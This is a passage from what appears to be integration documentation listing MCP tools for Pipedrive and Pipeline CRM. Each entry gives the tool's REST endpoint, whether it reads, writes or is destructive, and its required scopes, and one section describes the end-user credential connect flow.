destructive) — Delete product follower via DELETE /products/{id}/followers/{follower_id} DELETE /api/v1/pipedrive/products/{id}/followers/{follower_id}. Scopes: products:full. pipedrive_delete_products_by_id_images (write, destructive) — Delete product image via DELETE /products/{id}/images DELETE /api/v1/pipedrive/products/{id}/images. Scopes: products:full. pipedrive_delete_products_by_id_variations_by_product_variation_id (write, destructive) — Delete product variation via DELETE /products/{id}/variations/{product_variation_id} DELETE /api/v1/pipedrive/products/{id}/variations/{product_variation_id}. Scopes: products:full. pipedrive_delete_projectfields_by_field_code (write, destructive) — Delete project field via DELETE /projectFields/{field_code} DELETE /api/v1/pipedrive/projectFields/{field_code}. Scopes: project-fields:full. pipedrive_delete_projectfields_by_field_code_options (write, destructive) — Delete project field options via DELETE /projectFields/{field_code}/options DELETE /api/v1/pipedrive/projectFields/{field_code}/options. Scopes: project-fields:full. pipedrive_delete_projects_by_id (write, destructive) — Delete project via DELETE /projects/{id} DELETE /api/v1/pipedrive/projects/{id}. Scopes: projects:full. pipedrive_delete_stages_by_id (write, destructive) — Delete stage via DELETE /stages/{id} DELETE /api/v1/pipedrive/stages/{id}. Scopes: admin. pipedrive_delete_tasks_by_id (write, destructive) — Delete task via DELETE /tasks/{id} DELETE /api/v1/pipedrive/tasks/{id}. Scopes: projects:full. pipedrive_get_activities (read) — Get activities via GET /activities GET /api/v1/pipedrive/activities. Scopes: activities:full. pipedrive_get_activities_by_id (read) — Get activity via GET /activities/{id} GET /api/v1/pipedrive/activities/{id}. Scopes: activities:full. pipedrive_get_activityfields (read) — Get activity fields via GET /activityFields GET /api/v1/pipedrive/activityFields. Scopes: admin. pipedrive_get_activityfields_by_field_code (read) — Get activity field via GET /activityFields/{field_code} GET /api/v1/pipedrive/activityFields/{field_code}. Scopes: admin. pipedrive_get_boards (read) — Get projects boards via GET /boards GET /api/v1/pipedrive/boards. Scopes: projects:full. pipedrive_get_boards_by_id (read) — Get projects board via GET /boards/{id} GET /api/v1/pipedrive/boards/{id}. Scopes: projects:full. pipedrive_get_dealfields (read) — Get deal fields via GET /dealFields GET /api/v1/pipedrive/dealFields. Scopes: admin, deal-fields:full, deals:full. pipedrive_get_dealfields_by_field_code (read) — Get deal field via GET /dealFields/{field_code} GET /api/v1/pipedrive/dealFields/{field_code}. Scopes: admin, deal-fields:full, deals:full. pipedrive_get_deals (read) — Get deals via GET /deals GET /api/v1/pipedrive/deals. Scopes: deals:full. pipedrive_get_deals_archived (read) — Get archived deals via GET /deals/archived GET /api/v1/pipedrive/deals/archived. Scopes: deals:full. pipedrive_get_deals_by_id (read) — Get deal via GET /deals/{id} GET /api/v1/pipedrive/deals/{id}. Scopes: deals:full. pipedrive_get_deals_by_id_convert_status_by_conversion_id (read) — Get deal conversion status via GET /deals/{id}/convert/status/{conversion_id} GET /api/v1/pipedrive/deals/{id}/convert/status/{conversion_id}. Scopes: deals:full. pipedrive_get_deals_by_id_discounts (read) — Get additional discounts via GET /deals/{id}/discounts GET /api/v1/pipedrive/deals/{id}/discounts. Scopes: deals:full. pipedrive_get_deals_by_id_followers (read) — Get deal followers via GET /deals/{id}/followers GET /api/v1/pipedrive/deals/{id}/followers. Scopes: deals:full. pipedrive_get_deals_by_id_followers_changelog (read) — Get deal followers changelog via GET /deals/{id}/followers/changelog GET /api/v1/pipedrive/deals/{id}/followers/changelog. Scopes: deals:full. pipedrive_get_deals_by_id_products (read) — Get deal products via GET /deals/{id}/products GET /api/v1/pipedrive/deals/{id}/products. Scopes: deals:full, products:full. pipedrive_get_deals_installments (read) — Get installments via GET /deals/installments GET /api/v1/pipedrive/deals/installments. Scopes: deals:full. pipedrive_get_deals_products (read) — Get deals products via GET /deals/products GET /api/v1/pipedrive/deals/products. Scopes: deals:full, products:full. pipedrive_get_deals_search (read) — Search deals via GET /deals/search GET /api/v1/pipedrive/deals/search. Scopes: deals:full, search:read. pipedrive_get_itemsearch (read) — Search item via GET /itemSearch GET /api/v1/pipedrive/itemSearch. Scopes: search:read. pipedrive_get_itemsearch_field (read) — Search item by field via GET /itemSearch/field GET /api/v1/pipedrive/itemSearch/field. Scopes: search:read. pipedrive_get_leads_by_id_convert_status_by_conversion_id (read) — Get lead conversion status via GET /leads/{id}/convert/status/{conversion_id} GET /api/v1/pipedrive/leads/{id}/convert/status/{conversion_id}. Scopes: leads:full. pipedrive_get_leads_search (read) — Search leads via GET /leads/search GET /api/v1/pipedrive/leads/search. Scopes: leads:full, search:read. pipedrive_get_organizationfields (read) — Get organization fields via GET /organizationFields GET /api/v1/pipedrive/organizationFields. Scopes: admin, contact-fields:full, contacts:full. pipedrive_get_organizationfields_by_field_code (read) — Get organization field via GET /organizationFields/{field_code} GET /api/v1/pipedrive/organizationFields/{field_code}. Scopes: admin, contact-fields:full, contacts:full. pipedrive_get_organizations (read) — Get organizations via GET /organizations GET /api/v1/pipedrive/organizations. Scopes: contacts:full. pipedrive_get_organizations_by_id (read) — Get organization via GET /organizations/{id} GET /api/v1/pipedrive/organizations/{id}. Scopes: contacts:full. pipedrive_get_organizations_by_id_followers (read) — Get organization followers via GET /organizations/{id}/followers GET /api/v1/pipedrive/organizations/{id}/followers. Scopes: contacts:full. pipedrive_get_organizations_by_id_followers_changelog (read) — Get organization followers changelog via GET /organizations/{id}/followers/changelog GET /api/v1/pipedrive/organizations/{id}/followers/changelog. Scopes: contacts:full. pipedrive_get_organizations_search (read) — Search organization via GET /organizations/search GET /api/v1/pipedrive/organizations/search. Scopes: contacts:full, search:read. pipedrive_get_personfields (read) — Get person fields via GET /personFields GET /api/v1/pipedrive/personFields. Scopes: admin, contact-fields:full, contacts:full. pipedrive_get_personfields_by_field_code (read) — Get person field via GET /personFields/{field_code} GET /api/v1/pipedrive/personFields/{field_code}. Scopes: admin, contact-fields:full, contacts:full. pipedrive_get_persons (read) — Get persons via GET /persons GET /api/v1/pipedrive/persons. Scopes: contacts:full. pipedrive_get_persons_by_id (read) — Get person via GET /persons/{id} GET /api/v1/pipedrive/persons/{id}. Scopes: contacts:full. pipedrive_get_persons_by_id_followers (read) — Get person followers via GET /persons/{id}/followers GET /api/v1/pipedrive/persons/{id}/followers. Scopes: contacts:full. pipedrive_get_persons_by_id_followers_changelog (read) — Get person followers changelog via GET /persons/{id}/followers/changelog GET /api/v1/pipedrive/persons/{id}/followers/changelog. Scopes: contacts:full. pipedrive_get_persons_by_id_picture (read) — Get person picture via GET /persons/{id}/picture GET /api/v1/pipedrive/persons/{id}/picture. Scopes: contacts:full. pipedrive_get_persons_search (read) — Search persons via GET /persons/search GET /api/v1/pipedrive/persons/search. Scopes: contacts:full, search:read. pipedrive_get_phases (read) — Get projects phases via GET /phases GET /api/v1/pipedrive/phases. Scopes: projects:full. pipedrive_get_phases_by_id (read) — Get projects phase via GET /phases/{id} GET /api/v1/pipedrive/phases/{id}. Scopes: projects:full. pipedrive_get_pipelines (read) — Get pipelines via GET /pipelines GET /api/v1/pipedrive/pipelines. Scopes: admin, deals:full. pipedrive_get_pipelines_by_id (read) — Get pipeline via GET /pipelines/{id} GET /api/v1/pipedrive/pipelines/{id}. Scopes: admin, deals:full. pipedrive_get_productfields (read) — Get product fields via GET /productFields GET /api/v1/pipedrive/productFields. Scopes: product-fields:full, products:full. pipedrive_get_productfields_by_field_code (read) — Get product field via GET /productFields/{field_code} GET /api/v1/pipedrive/productFields/{field_code}. Scopes: product-fields:full, products:full. pipedrive_get_products (read) — Get products via GET /products GET /api/v1/pipedrive/products. Scopes: products:full. pipedrive_get_products_by_id (read) — Get product via GET /products/{id} GET /api/v1/pipedrive/products/{id}. Scopes: products:full. pipedrive_get_products_by_id_followers (read) — Get product followers via GET /products/{id}/followers GET /api/v1/pipedrive/products/{id}/followers. Scopes: products:full. pipedrive_get_products_by_id_followers_changelog (read) — Get product followers changelog via GET /products/{id}/followers/changelog GET /api/v1/pipedrive/products/{id}/followers/changelog. Scopes: products:full. pipedrive_get_products_by_id_images (read) — Get product image via GET /products/{id}/images GET /api/v1/pipedrive/products/{id}/images. Scopes: products:full. pipedrive_get_products_by_id_variations (read) — Get product variations via GET /products/{id}/variations GET /api/v1/pipedrive/products/{id}/variations. Scopes: products:full. pipedrive_get_products_search (read) — Search products via GET /products/search GET /api/v1/pipedrive/products/search. Scopes: products:full, search:read. pipedrive_get_projectfields (read) — Get project fields via GET /projectFields GET /api/v1/pipedrive/projectFields. Scopes: project-fields:full, projects:full. pipedrive_get_projectfields_by_field_code (read) — Get project field via GET /projectFields/{field_code} GET /api/v1/pipedrive/projectFields/{field_code}. Scopes: project-fields:full, projects:full. pipedrive_get_projects (read) — Get projects via GET /projects GET /api/v1/pipedrive/projects. Scopes: projects:full. pipedrive_get_projects_archived (read) — Get archived projects via GET /projects/archived GET /api/v1/pipedrive/projects/archived. Scopes: projects:full. pipedrive_get_projects_by_id (read) — Get project via GET /projects/{id} GET /api/v1/pipedrive/projects/{id}. Scopes: projects:full. pipedrive_get_projects_by_id_changelog (read) — Get project changelog via GET /projects/{id}/changelog GET /api/v1/pipedrive/projects/{id}/changelog. Scopes: projects:full. pipedrive_get_projects_by_id_permittedusers (read) — Get project users via GET /projects/{id}/permittedUsers GET /api/v1/pipedrive/projects/{id}/permittedUsers. Scopes: projects:full. pipedrive_get_projects_search (read) — Search projects via GET /projects/search GET /api/v1/pipedrive/projects/search. Scopes: projects:full, search:read. pipedrive_get_projecttemplates (read) — Get project templates via GET /projectTemplates GET /api/v1/pipedrive/projectTemplates. Scopes: projects:full. pipedrive_get_projecttemplates_by_id (read) — Get project template via GET /projectTemplates/{id} GET /api/v1/pipedrive/projectTemplates/{id}. Scopes: projects:full. pipedrive_get_stages (read) — Get stages via GET /stages GET /api/v1/pipedrive/stages. Scopes: admin, deals:full. pipedrive_get_stages_by_id (read) — Get stage via GET /stages/{id} GET /api/v1/pipedrive/stages/{id}. Scopes: admin, deals:full. pipedrive_get_tasks (read) — Get tasks via GET /tasks GET /api/v1/pipedrive/tasks. Scopes: projects:full. pipedrive_get_tasks_by_id (read) — Get task via GET /tasks/{id} GET /api/v1/pipedrive/tasks/{id}. Scopes: projects:full. pipedrive_get_users_by_id_followers (read) — Get user followers via GET /users/{id}/followers GET /api/v1/pipedrive/users/{id}/followers. Scopes: users:read. pipedrive_patch_activities_by_id (write) — Update activity via PATCH /activities/{id} PATCH /api/v1/pipedrive/activities/{id}. Scopes: activities:full. pipedrive_patch_boards_by_id (write) — Update project board via PATCH /boards/{id} PATCH /api/v1/pipedrive/boards/{id}. Scopes: projects:full. pipedrive_patch_dealfields_by_field_code (write) — Update deal field via PATCH /dealFields/{field_code} PATCH /api/v1/pipedrive/dealFields/{field_code}. Scopes: admin, deal-fields:full, deals:full. pipedrive_patch_dealfields_by_field_code_options (write) — Update deal field options via PATCH /dealFields/{field_code}/options PATCH /api/v1/pipedrive/dealFields/{field_code}/options. Scopes: admin, deal-fields:full, deals:full. pipedrive_patch_deals_by_id (write) — Update deal via PATCH /deals/{id} PATCH /api/v1/pipedrive/deals/{id}. Scopes: deals:full. pipedrive_patch_deals_by_id_discounts_by_discount_id (write) — Update additional discount via PATCH /deals/{id}/discounts/{discount_id} PATCH /api/v1/pipedrive/deals/{id}/discounts/{discount_id}. Scopes: deals:full. pipedrive_patch_deals_by_id_installments_by_installment_id (write) — Update installment via PATCH /deals/{id}/installments/{installment_id} PATCH /api/v1/pipedrive/deals/{id}/installments/{installment_id}. Scopes: deals:full. pipedrive_patch_deals_by_id_products_by_product_attachment_id (write) — Update deal product via PATCH /deals/{id}/products/{product_attachment_id} PATCH /api/v1/pipedrive/deals/{id}/products/{product_attachment_id}. Scopes: deals:full, products:full. pipedrive_patch_organizationfields_by_field_code (write) — Update organization field via PATCH /organizationFields/{field_code} PATCH /api/v1/pipedrive/organizationFields/{field_code}. Scopes: admin, contact-fields:full, contacts:full. pipedrive_patch_organizationfields_by_field_code_options (write) — Update organization field options via PATCH /organizationFields/{field_code}/options PATCH /api/v1/pipedrive/organizationFields/{field_code}/options. Scopes: admin, contact-fields:full, contacts:full. pipedrive_patch_organizations_by_id (write) — Update organization via PATCH /organizations/{id} PATCH /api/v1/pipedrive/organizations/{id}. Scopes: contacts:full. pipedrive_patch_personfields_by_field_code (write) — Update person field via PATCH /personFields/{field_code} PATCH /api/v1/pipedrive/personFields/{field_code}. Scopes: admin, contact-fields:full, contacts:full. pipedrive_patch_personfields_by_field_code_options (write) — Update person field options via PATCH /personFields/{field_code}/options PATCH /api/v1/pipedrive/personFields/{field_code}/options. Scopes: admin, contact-fields:full, contacts:full. pipedrive_patch_persons_by_id (write) — Update person via PATCH /persons/{id} PATCH /api/v1/pipedrive/persons/{id}. Scopes: contacts:full. pipedrive_patch_phases_by_id (write) — Update project phase via PATCH /phases/{id} PATCH /api/v1/pipedrive/phases/{id}. Scopes: projects:full. pipedrive_patch_pipelines_by_id (write) — Update pipeline via PATCH /pipelines/{id} PATCH /api/v1/pipedrive/pipelines/{id}. Scopes: admin. pipedrive_patch_productfields_by_field_code (write) — Update product field via PATCH /productFields/{field_code} PATCH /api/v1/pipedrive/productFields/{field_code}. Scopes: product-fields:full, products:full. pipedrive_patch_productfields_by_field_code_options (write) — Update product field options via PATCH /productFields/{field_code}/options PATCH /api/v1/pipedrive/productFields/{field_code}/options. Scopes: product-fields:full, products:full. pipedrive_patch_products_by_id (write) — Update product via PATCH /products/{id} PATCH /api/v1/pipedrive/products/{id}. Scopes: products:full. pipedrive_patch_products_by_id_variations_by_product_variation_id (write) — Update product variation via PATCH /products/{id}/variations/{product_variation_id} PATCH /api/v1/pipedrive/products/{id}/variations/{product_variation_id}. Scopes: products:full. pipedrive_patch_projectfields_by_field_code (write) — Update project field via PATCH /projectFields/{field_code} PATCH /api/v1/pipedrive/projectFields/{field_code}. Scopes: project-fields:full. pipedrive_patch_projectfields_by_field_code_options (write) — Update project field options via PATCH /projectFields/{field_code}/options PATCH /api/v1/pipedrive/projectFields/{field_code}/options. Scopes: project-fields:full. pipedrive_patch_projects_by_id (write) — Update project via PATCH /projects/{id} PATCH /api/v1/pipedrive/projects/{id}. Scopes: projects:full. pipedrive_patch_stages_by_id (write) — Update stage via PATCH /stages/{id} PATCH /api/v1/pipedrive/stages/{id}. Scopes: admin. pipedrive_patch_tasks_by_id (write) — Update task via PATCH /tasks/{id} PATCH /api/v1/pipedrive/tasks/{id}. Scopes: projects:full. pipedrive_post_activities (write) — Add activity via POST /activities POST /api/v1/pipedrive/activities. Scopes: activities:full. pipedrive_post_boards (write) — Add project board via POST /boards POST /api/v1/pipedrive/boards. Scopes: projects:full. pipedrive_post_dealfields (write) — Add deal field via POST /dealFields POST /api/v1/pipedrive/dealFields. Scopes: admin, deal-fields:full. pipedrive_post_dealfields_by_field_code_options (write) — Add deal field options via POST /dealFields/{field_code}/options POST /api/v1/pipedrive/dealFields/{field_code}/options. Scopes: admin, deal-fields:full, deals:full. pipedrive_post_deals (write) — Add deal via POST /deals POST /api/v1/pipedrive/deals. Scopes: deals:full. pipedrive_post_deals_by_id_convert_lead (write) — Convert deal to lead via POST /deals/{id}/convert/lead POST /api/v1/pipedrive/deals/{id}/convert/lead. Scopes: deals:full. pipedrive_post_deals_by_id_discounts (write) — Post additional discount via POST /deals/{id}/discounts POST /api/v1/pipedrive/deals/{id}/discounts. Scopes: deals:full. pipedrive_post_deals_by_id_followers (write) — Add deal follower via POST /deals/{id}/followers POST /api/v1/pipedrive/deals/{id}/followers. Scopes: deals:full. pipedrive_post_deals_by_id_installments (write) — Post installment via POST /deals/{id}/installments POST /api/v1/pipedrive/deals/{id}/installments. Scopes: deals:full. pipedrive_post_deals_by_id_products (write) — Add deal product via POST /deals/{id}/products POST /api/v1/pipedrive/deals/{id}/products. Scopes: deals:full, products:full. pipedrive_post_deals_by_id_products_bulk (write) — Add many deal products via POST /deals/{id}/products/bulk POST /api/v1/pipedrive/deals/{id}/products/bulk. Scopes: deals:full, products:full. pipedrive_post_leads_by_id_convert_deal (write) — Convert lead to deal via POST /leads/{id}/convert/deal POST /api/v1/pipedrive/leads/{id}/convert/deal. Scopes: leads:full. pipedrive_post_organizationfields (write) — Add organization field via POST /organizationFields POST /api/v1/pipedrive/organizationFields. Scopes: admin, contact-fields:full. pipedrive_post_organizationfields_by_field_code_options (write) — Add organization field options via POST /organizationFields/{field_code}/options POST /api/v1/pipedrive/organizationFields/{field_code}/options. Scopes: admin, contact-fields:full, contacts:full. pipedrive_post_organizations (write) — Add organization via POST /organizations POST /api/v1/pipedrive/organizations. Scopes: contacts:full. pipedrive_post_organizations_by_id_followers (write) — Add organization follower via POST /organizations/{id}/followers POST /api/v1/pipedrive/organizations/{id}/followers. Scopes: contacts:full. pipedrive_post_personfields (write) — Add person field via POST /personFields POST /api/v1/pipedrive/personFields. Scopes: admin, contact-fields:full. pipedrive_post_personfields_by_field_code_options (write) — Add person field options via POST /personFields/{field_code}/options POST /api/v1/pipedrive/personFields/{field_code}/options. Scopes: admin, contact-fields:full, contacts:full. pipedrive_post_persons (write) — Add person via POST /persons POST /api/v1/pipedrive/persons. Scopes: contacts:full. pipedrive_post_persons_by_id_followers (write) — Add person follower via POST /persons/{id}/followers POST /api/v1/pipedrive/persons/{id}/followers. Scopes: contacts:full. pipedrive_post_phases (write) — Add project phase via POST /phases POST /api/v1/pipedrive/phases. Scopes: projects:full. pipedrive_post_pipelines (write) — Add pipeline via POST /pipelines POST /api/v1/pipedrive/pipelines. Scopes: admin. pipedrive_post_productfields (write) — Add product field via POST /productFields POST /api/v1/pipedrive/productFields. Scopes: product-fields:full, products:full. pipedrive_post_productfields_by_field_code_options (write) — Add product field options via POST /productFields/{field_code}/options POST /api/v1/pipedrive/productFields/{field_code}/options. Scopes: product-fields:full, products:full. pipedrive_post_products (write) — Add product via POST /products POST /api/v1/pipedrive/products. Scopes: products:full. pipedrive_post_products_by_id_duplicate (write) — Duplicate product via POST /products/{id}/duplicate POST /api/v1/pipedrive/products/{id}/duplicate. Scopes: products:full. pipedrive_post_products_by_id_followers (write) — Add product follower via POST /products/{id}/followers POST /api/v1/pipedrive/products/{id}/followers. Scopes: products:full. pipedrive_post_products_by_id_variations (write) — Add product variation via POST /products/{id}/variations POST /api/v1/pipedrive/products/{id}/variations. Scopes: products:full. pipedrive_post_projectfields (write) — Add project field via POST /projectFields POST /api/v1/pipedrive/projectFields. Scopes: project-fields:full. pipedrive_post_projectfields_by_field_code_options (write) — Add project field options via POST /projectFields/{field_code}/options POST /api/v1/pipedrive/projectFields/{field_code}/options. Scopes: project-fields:full. pipedrive_post_projects (write) — Add project via POST /projects POST /api/v1/pipedrive/projects. Scopes: projects:full. pipedrive_post_projects_by_id_archive (write) — Archive project via POST /projects/{id}/archive POST /api/v1/pipedrive/projects/{id}/archive. Scopes: projects:full. pipedrive_post_stages (write) — Add stage via POST /stages POST /api/v1/pipedrive/stages. Scopes: admin. pipedrive_post_tasks (write) — Add task via POST /tasks POST /api/v1/pipedrive/tasks. Scopes: projects:full. ================================================================================ ## Pipeline CRM URL: https://www.agenticfabriq.com/integrations/pipelinecrm Section: Integrated Tools Pipeline CRM — 291 MCP tools Provider key: pipelinecrm. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. pipeline_crm_delete_account_notifications_by_id (write, destructive) — Delete a Pipeline CRM record at /account_notifications/{id} DELETE /api/v1/pipelinecrm/account_notifications/{id}. Scopes: api. pipeline_crm_delete_admin_api_tokens_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/api_tokens/{id} DELETE /api/v1/pipelinecrm/admin/api_tokens/{id}. Scopes: api. pipeline_crm_delete_admin_calendar_entry_priorities_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/calendar_entry_priorities/{id} DELETE /api/v1/pipelinecrm/admin/calendar_entry_priorities/{id}. Scopes: api. pipeline_crm_delete_admin_calendar_entry_statuses_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/calendar_entry_statuses/{id} DELETE /api/v1/pipelinecrm/admin/calendar_entry_statuses/{id}. Scopes: api. pipeline_crm_delete_admin_call_outcomes_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/call_outcomes/{id} DELETE /api/v1/pipelinecrm/admin/call_outcomes/{id}. Scopes: api. pipeline_crm_delete_admin_company_custom_field_groups_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/company_custom_field_groups/{id} DELETE /api/v1/pipelinecrm/admin/company_custom_field_groups/{id}. Scopes: api. pipeline_crm_delete_admin_company_custom_field_labels_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/company_custom_field_labels/{id} DELETE /api/v1/pipelinecrm/admin/company_custom_field_labels/{id}. Scopes: api. pipeline_crm_delete_admin_company_tags_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/company_tags/{id} DELETE /api/v1/pipelinecrm/admin/company_tags/{id}. Scopes: api. pipeline_crm_delete_admin_custom_field_label_dropdown_entries_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/custom_field_label_dropdown_entries/{id} DELETE /api/v1/pipelinecrm/admin/custom_field_label_dropdown_entries/{id}. Scopes: api. pipeline_crm_delete_admin_deal_custom_field_groups_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/deal_custom_field_groups/{id} DELETE /api/v1/pipelinecrm/admin/deal_custom_field_groups/{id}. Scopes: api. pipeline_crm_delete_admin_deal_custom_field_labels_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/deal_custom_field_labels/{id} DELETE /api/v1/pipelinecrm/admin/deal_custom_field_labels/{id}. Scopes: api. pipeline_crm_delete_admin_deal_loss_reasons_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/deal_loss_reasons/{id} DELETE /api/v1/pipelinecrm/admin/deal_loss_reasons/{id}. Scopes: api. pipeline_crm_delete_admin_deal_pipelines_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/deal_pipelines/{id} DELETE /api/v1/pipelinecrm/admin/deal_pipelines/{id}. Scopes: api. pipeline_crm_delete_admin_deal_stages_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/deal_stages/{id} DELETE /api/v1/pipelinecrm/admin/deal_stages/{id}. Scopes: api. pipeline_crm_delete_admin_deal_statuses_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/deal_statuses/{id} DELETE /api/v1/pipelinecrm/admin/deal_statuses/{id}. Scopes: api. pipeline_crm_delete_admin_deal_tags_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/deal_tags/{id} DELETE /api/v1/pipelinecrm/admin/deal_tags/{id}. Scopes: api. pipeline_crm_delete_admin_deal_won_reasons_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/deal_won_reasons/{id} DELETE /api/v1/pipelinecrm/admin/deal_won_reasons/{id}. Scopes: api. pipeline_crm_delete_admin_document_tags_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/document_tags/{id} DELETE /api/v1/pipelinecrm/admin/document_tags/{id}. Scopes: api. pipeline_crm_delete_admin_event_categories_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/event_categories/{id} DELETE /api/v1/pipelinecrm/admin/event_categories/{id}. Scopes: api. pipeline_crm_delete_admin_lead_sources_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/lead_sources/{id} DELETE /api/v1/pipelinecrm/admin/lead_sources/{id}. Scopes: api. pipeline_crm_delete_admin_lead_statuses_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/lead_statuses/{id} DELETE /api/v1/pipelinecrm/admin/lead_statuses/{id}. Scopes: api. pipeline_crm_delete_admin_note_categories_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/note_categories/{id} DELETE /api/v1/pipelinecrm/admin/note_categories/{id}. Scopes: api. pipeline_crm_delete_admin_person_custom_field_groups_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/person_custom_field_groups/{id} DELETE /api/v1/pipelinecrm/admin/person_custom_field_groups/{id}. Scopes: api. pipeline_crm_delete_admin_person_custom_field_labels_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/person_custom_field_labels/{id} DELETE /api/v1/pipelinecrm/admin/person_custom_field_labels/{id}. Scopes: api. pipeline_crm_delete_admin_predefined_contacts_tags_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/predefined_contacts_tags/{id} DELETE /api/v1/pipelinecrm/admin/predefined_contacts_tags/{id}. Scopes: api. pipeline_crm_delete_admin_product_lines_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/product_lines/{id} DELETE /api/v1/pipelinecrm/admin/product_lines/{id}. Scopes: api. pipeline_crm_delete_admin_project_custom_field_groups_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/project_custom_field_groups/{id} DELETE /api/v1/pipelinecrm/admin/project_custom_field_groups/{id}. Scopes: api. pipeline_crm_delete_admin_project_custom_field_labels_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/project_custom_field_labels/{id} DELETE /api/v1/pipelinecrm/admin/project_custom_field_labels/{id}. Scopes: api. pipeline_crm_delete_admin_project_milestone_statuses_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/project_milestone_statuses/{id} DELETE /api/v1/pipelinecrm/admin/project_milestone_statuses/{id}. Scopes: api. pipeline_crm_delete_admin_project_templates_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/project_templates/{id} DELETE /api/v1/pipelinecrm/admin/project_templates/{id}. Scopes: api. pipeline_crm_delete_admin_revenue_types_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/revenue_types/{id} DELETE /api/v1/pipelinecrm/admin/revenue_types/{id}. Scopes: api. pipeline_crm_delete_admin_teams_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/teams/{id} DELETE /api/v1/pipelinecrm/admin/teams/{id}. Scopes: api. pipeline_crm_delete_admin_todo_template_items_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/todo_template_items/{id} DELETE /api/v1/pipelinecrm/admin/todo_template_items/{id}. Scopes: api. pipeline_crm_delete_admin_todo_templates_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/todo_templates/{id} DELETE /api/v1/pipelinecrm/admin/todo_templates/{id}. Scopes: api. pipeline_crm_delete_admin_users_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/users/{id} DELETE /api/v1/pipelinecrm/admin/users/{id}. Scopes: api. pipeline_crm_delete_admin_webhooks_by_id (write, destructive) — Delete a Pipeline CRM record at /admin/webhooks/{id} DELETE /api/v1/pipelinecrm/admin/webhooks/{id}. Scopes: api. pipeline_crm_delete_calendar_entries_by_calendar_entry_id_sub_calendar_entries_by_id (write, destructive) — Delete a Pipeline CRM record at /calendar_entries/{calendar_entry_id}/sub_calendar_entries/{id} DELETE /api/v1/pipelinecrm/calendar_entries/{calendar_entry_id}/sub_calendar_entries/{id}. Scopes: api. pipeline_crm_delete_calendar_entries_by_id (write, destructive) — Delete a Pipeline CRM record at /calendar_entries/{id} DELETE /api/v1/pipelinecrm/calendar_entries/{id}. Scopes: api. pipeline_crm_delete_comments_by_id (write, destructive) — Delete a Pipeline CRM record at /comments/{id} DELETE /api/v1/pipelinecrm/comments/{id}. Scopes: api. pipeline_crm_delete_companies_by_company_id_children_companies_by_id (write, destructive) — Delete a Pipeline CRM record at /companies/{company_id}/children_companies/{id} DELETE /api/v1/pipelinecrm/companies/{company_id}/children_companies/{id}. Scopes: api. pipeline_crm_delete_companies_by_company_id_parent_companies_by_id (write, destructive) — Delete a Pipeline CRM record at /companies/{company_id}/parent_companies/{id} DELETE /api/v1/pipelinecrm/companies/{company_id}/parent_companies/{id}. Scopes: api. pipeline_crm_delete_companies_by_id (write, destructive) — Delete a Pipeline CRM record at /companies/{id} DELETE /api/v1/pipelinecrm/companies/{id}. Scopes: api. pipeline_crm_delete_customers_by_id (write, destructive) — Delete a Pipeline CRM record at /customers/{id} DELETE /api/v1/pipelinecrm/customers/{id}. Scopes: api. pipeline_crm_delete_deals_by_id (write, destructive) — Delete a Pipeline CRM record at /deals/{id} DELETE /api/v1/pipelinecrm/deals/{id}. Scopes: api. pipeline_crm_delete_documents_by_id (write, destructive) — Delete a Pipeline CRM record at /documents/{id} DELETE /api/v1/pipelinecrm/documents/{id}. Scopes: api. pipeline_crm_delete_notes_by_id (write, destructive) — Delete a Pipeline CRM record at /notes/{id} DELETE /api/v1/pipelinecrm/notes/{id}. Scopes: api. pipeline_crm_delete_notes_by_note_id_comments_by_id (write, destructive) — Delete a Pipeline CRM record at /notes/{note_id}/comments/{id} DELETE /api/v1/pipelinecrm/notes/{note_id}/comments/{id}. Scopes: api. pipeline_crm_delete_people_by_id (write, destructive) — Delete a Pipeline CRM record at /people/{id} DELETE /api/v1/pipelinecrm/people/{id}. Scopes: api. pipeline_crm_delete_project_milestones_by_id (write, destructive) — Delete a Pipeline CRM record at /project_milestones/{id} DELETE /api/v1/pipelinecrm/project_milestones/{id}. Scopes: api. pipeline_crm_delete_projects_by_id (write, destructive) — Delete a Pipeline CRM record at /projects/{id} DELETE /api/v1/pipelinecrm/projects/{id}. Scopes: api. pipeline_crm_delete_projects_by_project_id_project_associations_by_id (write, destructive) — Delete a Pipeline CRM record at /projects/{project_id}/project_associations/{id} DELETE /api/v1/pipelinecrm/projects/{project_id}/project_associations/{id}. Scopes: api. pipeline_crm_get_account_notifications (read) — List Pipeline CRM records from /account_notifications GET /api/v1/pipelinecrm/account_notifications. Scopes: api. pipeline_crm_get_account_notifications_by_id (read) — Get a 